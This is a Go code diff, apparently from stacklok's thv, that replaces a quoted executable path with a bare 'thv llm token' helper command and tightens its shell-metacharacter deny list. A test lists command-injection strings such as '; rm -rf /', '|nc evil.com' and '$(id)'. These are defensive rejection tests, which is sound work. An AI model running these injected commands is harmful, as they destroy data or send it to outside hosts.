stacklok · jerm-dro · Aug 14, 2026 · Aug 13, 2026
@@ -269,37 +269,28 @@ func (cm *ClientManager) writeCredentialHelperShim(tokenHelperCommand string) (s
 	return shimPath, nil
 }
 
-// isSafeTokenHelperCommand reports whether tokenHelperCommand matches the shape
-// produced by buildTokenHelperCommand: a double-quoted path followed by the
-// literal args "llm token", with no shell metacharacters that could break out
-// of the exec line the shim concatenates. The shim is a 0700 /bin/sh script
-// built by string concatenation, so a caller-supplied command containing ";",
-// "&", "|", "`", "$", "#", or newlines would be stored command injection.
+// isSafeTokenHelperCommand reports whether tokenHelperCommand is safe to splice
+// into the shim. The shim is a 0700 /bin/sh script built by string
+// concatenation, so a caller-supplied command containing ";", "&", "|", "`",
+// "$", "#", quotes, or newlines would be stored command injection.
 //
-// buildTokenHelperCommand (pkg/llm/setup.go) is shell-safe today — it rejects
-// paths containing those characters before formatting — but TokenHelperCommand
-// is exposed as a general ApplyConfig field consumed by multiple writers. This
-// check makes the shim writer fail closed on any command it cannot prove safe,
-// rather than trusting every future caller to uphold the contract.
+// The producer (tokenHelperShellCommand in pkg/llm) is a constant today, but
+// TokenHelperCommand is a general ApplyConfig field consumed by multiple
+// writers, so this check makes the shim writer fail closed rather than trusting
+// every future caller to uphold the contract. It deliberately validates only
+// that the command is metacharacter-free, not that it matches one exact string:
+// pinning the shape would couple this writer to the producer's formatting.
 func isSafeTokenHelperCommand(tokenHelperCommand string) bool {
 	if tokenHelperCommand == "" {
 		return false
 	}
 	for _, r := range tokenHelperCommand {
 		switch r {
-		case ';', '&', '|', '`', '$', '#', '\n', '\r':
+		case ';', '&', '|', '`', '$', '#', '\'', '"', '\\', '\n', '\r':
 			return false
 		}
 	}
-	// Must be a double-quoted path followed by exactly " llm token".
-	if len(tokenHelperCommand) < 2 || tokenHelperCommand[0] != '"' {
-		return false
-	}
-	closeQuote := strings.IndexByte(tokenHelperCommand[1:], '"')
-	if closeQuote == -1 {
-		return false
-	}
-	return tokenHelperCommand[2+closeQuote:] == " llm token"
+	return true
 }
 
 // managedProfilePresent reports whether an MDM/managed-preferences profile for

@@ -52,7 +52,7 @@ func claudeDesktopApplyCfg() llmgateway.ApplyConfig {
 	return llmgateway.ApplyConfig{
 		GatewayURL:         "https://gw.example.com",
 		AnthropicBaseURL:   "https://gw.example.com/anthropic",
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 	}
 }
 
@@ -85,7 +85,7 @@ func TestConfigureCredentialHelper_WritesConfigMetaAndShim(t *testing.T) {
 	assert.Equal(t, os.FileMode(0o700), info.Mode().Perm())
 	shim, err := os.ReadFile(shimPath) // #nosec G304 -- test-controlled path
 	require.NoError(t, err)
-	assert.Contains(t, string(shim), `"thv" llm token`)
+	assert.Contains(t, string(shim), `thv llm token`)
 	assert.Contains(t, string(shim), "--skip-browser")
 
 	// _meta.json selects our config by the config document's id.
@@ -276,32 +276,33 @@ func TestRevertCredentialHelper_RejectsUnsafeConfigPath(t *testing.T) {
 
 // TestWriteCredentialHelperShim_RejectsUnsafeCommand proves the shim writer
 // fails closed on any tokenHelperCommand it cannot prove is shell-safe, rather
-// than emitting an injectable 0700 /bin/sh script. buildTokenHelperCommand is
-// shell-safe today; this guards against a future caller that isn't.
+// than emitting an injectable 0700 /bin/sh script. The producer is a constant
+// today; this guards against a future caller that isn't.
 func TestWriteCredentialHelperShim_RejectsUnsafeCommand(t *testing.T) {
 	t.Parallel()
 	cm := &ClientManager{homeDir: t.TempDir()}
 
 	unsafe := []string{
-		`"thv" llm token; rm -rf /`,           // trailing command via ;
-		`"thv" llm token #`,                   // trailing comment
-		`"thv" llm token && curl evil`,        // chained command
-		`"thv" llm token|nc evil.com`,         // pipe to external process
-		`"thv" llm token` + "\n" + `rm -rf /`, // embedded newline
-		`unquoted path llm token`,             // missing leading double-quote
-		`"thv" llm tokn`,                      // wrong suffix (not " llm token")
+		`thv llm token; rm -rf /`,           // trailing command via ;
+		`thv llm token #`,                   // trailing comment
+		`thv llm token && curl evil`,        // chained command
+		`thv llm token|nc evil.com`,         // pipe to external process
+		`thv llm token` + "\n" + `rm -rf /`, // embedded newline
+		"thv llm token `id`",                // command substitution
+		`thv llm token $(id)`,               // command substitution
+		`"thv" llm token`,                   // quotes would nest inside the exec line
+		``,                                  // empty
 	}
 	for _, cmd := range unsafe {
 		t.Run(cmd, func(t *testing.T) {
 			t.Parallel()
 			_, err := cm.writeCredentialHelperShim(cmd)
 			require.Error(t, err, "expected rejection of %q", cmd)
-			assert.Contains(t, err.Error(), "shell-safe")
 		})
 	}
 
-	// The shape buildTokenHelperCommand actually produces is accepted.
-	_, err := cm.writeCredentialHelperShim(`"/bin/thv" llm token`)
+	// The bare command the producer actually emits is accepted.
+	_, err := cm.writeCredentialHelperShim(`thv llm token`)
 	require.NoError(t, err)
 }
 

@@ -72,7 +72,7 @@ func TestRealClientConfigs_ConfigureAndRevert(t *testing.T) {
 	applyCfg := llmgateway.ApplyConfig{
 		GatewayURL:         "https://gw.example.com",
 		ProxyBaseURL:       "http://localhost:14000/v1",
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 	}
 
 	// wantPointers maps RFC 6901 JSON pointer → expected string value after
@@ -85,7 +85,7 @@ func TestRealClientConfigs_ConfigureAndRevert(t *testing.T) {
 			// ~/.claude/settings.json
 			clientType: ClaudeCode,
 			wantPointers: map[string]string{
-				"/apiKeyHelper":                          `"thv" llm token`,
+				"/apiKeyHelper":                          `thv llm token`,
 				"/env/ANTHROPIC_BASE_URL":                "https://gw.example.com",
 				"/env/CLAUDE_CODE_API_KEY_HELPER_TTL_MS": "300000",
 			},
@@ -193,7 +193,7 @@ func TestConfigureLLMGateway_ClaudeCodeBedrock(t *testing.T) {
 
 		path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
 			GatewayURL:         "https://gw.example.com",
-			TokenHelperCommand: `"thv" llm token`,
+			TokenHelperCommand: `thv llm token`,
 			BedrockCompat:      true,
 			BedrockHaikuModel:  "us.anthropic.claude-haiku-x",
 			BedrockOpusModel:   "us.anthropic.claude-opus-x[1m]",
@@ -218,7 +218,7 @@ func TestConfigureLLMGateway_ClaudeCodeBedrock(t *testing.T) {
 
 		path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
 			GatewayURL:         "https://gw.example.com",
-			TokenHelperCommand: `"thv" llm token`,
+			TokenHelperCommand: `thv llm token`,
 		})
 		require.NoError(t, err)
 
@@ -321,7 +321,7 @@ func TestConfigureLLMGateway_CreatesFile(t *testing.T) {
 	require.NoError(t, os.MkdirAll(claudeDir, 0o700))
 
 	path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 	})
 	require.NoError(t, err)
 	assert.Equal(t, filepath.Join(claudeDir, "settings.json"), path)
@@ -330,7 +330,7 @@ func TestConfigureLLMGateway_CreatesFile(t *testing.T) {
 	require.NoError(t, err)
 	got, ok := jsonPointerGet(data, "/apiKeyHelper")
 	assert.True(t, ok, "/apiKeyHelper pointer must be present")
-	assert.Equal(t, `"thv" llm token`, got, "/apiKeyHelper must contain the token helper command")
+	assert.Equal(t, `thv llm token`, got, "/apiKeyHelper must contain the token helper command")
 }
 
 func TestConfigureLLMGateway_PreservesExistingKeys(t *testing.T) {
@@ -345,7 +345,7 @@ func TestConfigureLLMGateway_PreservesExistingKeys(t *testing.T) {
 	require.NoError(t, os.WriteFile(settingsPath, []byte(`{"permissions":{"allow":["read"]}}`), 0o600))
 
 	_, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 	})
 	require.NoError(t, err)
 
@@ -354,7 +354,7 @@ func TestConfigureLLMGateway_PreservesExistingKeys(t *testing.T) {
 	assert.Contains(t, string(data), "permissions") // non-string object — checked as raw substring
 	got, ok := jsonPointerGet(data, "/apiKeyHelper")
 	assert.True(t, ok, "/apiKeyHelper pointer must be present after configure")
-	assert.Equal(t, `"thv" llm token`, got)
+	assert.Equal(t, `thv llm token`, got)
 }
 
 func TestConfigureLLMGateway_JSONCPreservesExistingParent(t *testing.T) {
@@ -408,7 +408,7 @@ func TestConfigureLLMGateway_Idempotent(t *testing.T) {
 	claudeDir := filepath.Join(home, ".claude")
 	require.NoError(t, os.MkdirAll(claudeDir, 0o700))
 
-	cfg := llmgateway.ApplyConfig{TokenHelperCommand: `"thv" llm token`}
+	cfg := llmgateway.ApplyConfig{TokenHelperCommand: `thv llm token`}
 	_, err := cm.ConfigureLLMGateway(ClaudeCode, cfg)
 	require.NoError(t, err)
 	_, err = cm.ConfigureLLMGateway(ClaudeCode, cfg)
@@ -721,7 +721,7 @@ func TestConfigureLLMGateway_TLSSkipVerify_WritesNodeEnv(t *testing.T) {
 	require.NoError(t, os.MkdirAll(claudeDir, 0o700))
 
 	_, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 		TLSSkipVerify:      true,
 	})
 	require.NoError(t, err)
@@ -741,7 +741,7 @@ func TestConfigureLLMGateway_TLSSkipVerify_NotSet_DoesNotWriteNodeEnv(t *testing
 	require.NoError(t, os.MkdirAll(claudeDir, 0o700))
 
 	_, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 		TLSSkipVerify:      false,
 	})
 	require.NoError(t, err)
@@ -761,7 +761,7 @@ func TestConfigureLLMGateway_TLSSkipVerify_ClearRemovesKey(t *testing.T) {
 
 	// First run: set tls-skip-verify
 	_, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 		TLSSkipVerify:      true,
 	})
 	require.NoError(t, err)
@@ -774,7 +774,7 @@ func TestConfigureLLMGateway_TLSSkipVerify_ClearRemovesKey(t *testing.T) {
 
 	// Second run: clear tls-skip-verify
 	_, err = cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 		TLSSkipVerify:      false,
 	})
 	require.NoError(t, err)
@@ -819,7 +819,7 @@ func TestLLMValueForSpec(t *testing.T) {
 	cfg := llmgateway.ApplyConfig{
 		GatewayURL:         "https://gw.example.com",
 		ProxyBaseURL:       "http://localhost:14000/v1",
-		TokenHelperCommand: `"thv" llm token`,
+		TokenHelperCommand: `thv llm token`,
 		TLSSkipVerify:      false,
 	}
 
@@ -833,7 +833,7 @@ func TestLLMValueForSpec(t *testing.T) {
 		// Known ValueField names resolve correctly
 		{name: "GatewayURL", valueField: "GatewayURL", cfg: cfg, want: "https://gw.example.com"},
 		{name: "ProxyBaseURL", valueField: "ProxyBaseURL", cfg: cfg, want: "http://localhost:14000/v1"},
-		{name: "TokenHelperCommand", valueField: "TokenHelperCommand", cfg: cfg, want: `"thv" llm token`},
+		{name: "TokenHelperCommand", valueField: "TokenHelperCommand", cfg: cfg, want: `thv llm token`},
 		{name: "PlaceholderAPIKey", valueField: "PlaceholderAPIKey", cfg: cfg, want: "thv-proxy"},
 		// NodeTLSRejectUnauthorized: "0" when set, "" when clear
 		{name: "NodeTLSRejectUnauthorized/skip=false", valueField: "NodeTLSRejectUnauthorized", cfg: cfg, want: ""},

@@ -102,16 +102,6 @@ func Setup(
 		return nil
 	}
 
-	// Only build the shell-string token helper if a detected tool actually
-	// consumes it — its shell-safety check on the thv executable path would
-	// otherwise fail setup for e.g. a Codex-only run, which never uses it.
-	var tokenHelperCommand string
-	if tokenHelperCommandNeeded(gm, detected) {
-		tokenHelperCommand, err = buildTokenHelperCommand()
-		if err != nil {
-			return err
-		}
-	}
 	tokenHelperPath, tokenHelperArgs, err := buildTokenHelperArgv()
 	if err != nil {
 		return err
@@ -143,7 +133,7 @@ func Setup(
 	anthropicPrefix := resolveAnthropicPrefix(ctx, gm, detected, llmCfg, anthropicPathPrefix, anthropicPathPrefixSet)
 
 	configured, err := configureDetectedTools(
-		out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL, tokenHelperCommand,
+		out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL,
 		tokenHelperPath, tokenHelperArgs, llmCfg.TLSSkipVerify, anthropicPrefix, llmCfg.Models, llmCfg.Bedrock,
 	)
 	if err != nil {
@@ -502,7 +492,7 @@ func configureDetectedTools(
 	out, errOut io.Writer,
 	gm GatewayManager,
 	detected []string,
-	gatewayURL, proxyBaseURL, tokenHelperCommand string,
+	gatewayURL, proxyBaseURL string,
 	tokenHelperPath string, tokenHelperArgs []string,
 	tlsSkipVerify bool,
 	anthropicPathPrefix string,
@@ -530,7 +520,7 @@ func configureDetectedTools(
 			GatewayURL:         gatewayURL,
 			AnthropicBaseURL:   anthropicBaseURL,
 			ProxyBaseURL:       proxyBaseURL,
-			TokenHelperCommand: tokenHelperCommand,
+			TokenHelperCommand: tokenHelperShellCommand,
 			TokenHelperPath:    tokenHelperPath,
 			TokenHelperArgs:    tokenHelperArgs,
 			TLSSkipVerify:      tlsSkipVerify,
@@ -644,46 +634,22 @@ func probeAnthropicPrefix(ctx context.Context, gatewayURL string, tlsSkipVerify
 	return ""
 }
 
-// tokenHelperCommandNeeded reports whether any detected client's mode consumes
-// the shell-string token helper (TokenHelperCommand) — direct-mode's
-// apiKeyHelper-style JSON-Pointer clients and Claude Desktop's credential
-// helper. Proxy-mode tools and Codex (argv-based auth) never use it.
-func tokenHelperCommandNeeded(gm GatewayManager, detected []string) bool {
-	for _, clientType := range detected {
-		switch gm.LLMGatewayModeFor(clientType) {
-		case llmgateway.ModeDirect, llmgateway.ModeCredentialHelper:
-			return true
-		}
-	}
-	return false
-}
-
-// buildTokenHelperCommand returns the shell command string used as the
-// token-helper for direct-mode tools. It rejects executable paths that contain
-// shell metacharacters, since the command is written verbatim into long-lived
-// tool config files and re-executed by the shell inside Claude Code / Gemini CLI.
-// A path with '"', '\', ';', '$', '`', newline, or carriage-return would
-// silently produce a broken or exploitable command. '$' and '`' are included
-// because they trigger variable/command substitution inside double-quoted strings.
+// tokenHelperShellCommand is the shell command written into direct-mode tools'
+// config as their token helper — e.g. Claude Code's apiKeyHelper, which is run
+// through a shell (execa with shell:true; see anthropics/claude-code#42593).
 //
-// Note: backslashes are Windows path separators, so this effectively makes
-// "thv llm setup" unsupported on Windows — consistent with the rest of the LLM
-// gateway feature (token-helper tools use POSIX-style shells).
-func buildTokenHelperCommand() (string, error) {
-	self, err := os.Executable()
-	if err != nil {
-		return "", fmt.Errorf("resolving thv executable path: %w", err)
-	}
-	const shellUnsafe = `"\;$` + "`\n\r"
-	if strings.ContainsAny(self, shellUnsafe) {
-		return "", fmt.Errorf(
-			"executable path %q contains shell-unsafe characters; "+
-				"move thv to a path without quotes, backslashes, semicolons, "+
-				"dollar signs, or backticks "+
-				"(Windows paths are not supported by thv llm setup)", self)
-	}
-	return fmt.Sprintf(`"%s" llm token`, self), nil
-}
+// It deliberately names "thv" bare rather than interpolating os.Executable().
+// An absolute path has to be quoted into a string that a different shell parses
+// on each platform — /bin/sh on POSIX, cmd.exe via ComSpec on Windows — and Go
+// has no portable shell-escaping primitive. Every Windows path also contains
+// backslashes, which no single quoting scheme survives in both shells. A bare
+// command has nothing to escape, so it is correct on every platform by
+// construction.
+//
+// The trade-off is that "thv" resolves via PATH when the tool invokes it, so a
+// binary earlier on PATH can shadow it and return an attacker-chosen token.
+// That requires an attacker who can already write to the user's PATH.
+const tokenHelperShellCommand = "thv llm token" //nolint:gosec // G101: a command line, not a credential
 
 // buildTokenHelperArgv returns the argv-form of the token helper, for config
 // formats that invoke an executable directly (no shell) — e.g. Codex's